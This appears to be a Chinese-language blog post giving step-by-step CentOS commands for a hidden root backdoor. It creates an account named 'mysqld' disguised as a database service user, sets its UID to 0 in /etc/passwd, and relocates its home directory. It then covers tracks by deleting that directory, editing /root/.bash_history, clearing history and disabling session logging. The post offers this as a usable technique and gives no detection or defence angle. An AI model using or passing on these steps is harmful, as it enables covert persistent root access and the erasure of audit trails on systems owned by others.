本文主要是介绍centos创建mysqld用户隐蔽位置,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
1、添加普通用户
[root@server ~]# useradd mysqld //添加一个名为mysqld的用户或使用mysqls
[root@server ~]# passwd mysqld //修改密码
Changing password for user mysqld.
New UNIX password: //在这里输入新密码
Retype new UNIX password: //再次输入新密码
passwd: all authentication tokens updated successfully
2、创建新的用户目录
mkdir /var/lib/mysqld
chmod 777 /var/lib/mysqld
3、转移用户目录
转移两个关键文件.bash_profile和.bashrc
cp /home/mysqld/.bashrc /var/lib/mysqld
cp /home/mysqld/.bash_profile /var/lib/mysqld
4、赋予root权限
方法3):修改/etc/passwd文件,找到如下行,把用户ID修改为0,如下所示:
vi /etc/passwd
mysqld:x:1000:1001::/home/mysqld:/bin/bash
修改为
mysqld:x:0:1001::/var/lib/mysqld:/bin/bash
同时,可以打乱此行所在位置,上移一个或两个位置即可
修改后保存,用mysqld账户登录后,直接获取的就是root帐号的权限。
5、清理战场
使用新用户登录后,用Xftp直接删除/home/mysqld文件夹,用户目录
或使用命令 rm -rf /home/mysqld
删除root帐号操作历史
vi /root/.bash_history
按一下大写的G可以直接到达文件尾,找到刚才的操作记录都删除即可
:wq保存即可
history -c 将当前缓存中的历史记录清除后,退出
注: -c 清除历史记录
-a 将历史命令缓冲区命令记录到文件中
-w 将当前历史命令缓冲区命令记录到文件中
区别:
history -a 将history命令中所能看到的所有命令都追加入.bash_history文件中。
history -w 将未更新在.bash_history文件中的历史命令进行追加。
-------------------------------
禁用当前会话的历史记录(推荐使用)
在登录后执行下列命令,此会话不记录历史命令
export HISTSIZE=0
如果不想记录当前 会话操作的命令的话 可以使用命令
set +o history
但是这个命令有一个坏处, 他自己被记住了...
结束隐藏命令记录set -o history
set -o history 命令不会被记录到历史中
这篇关于centos创建mysqld用户隐蔽位置的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!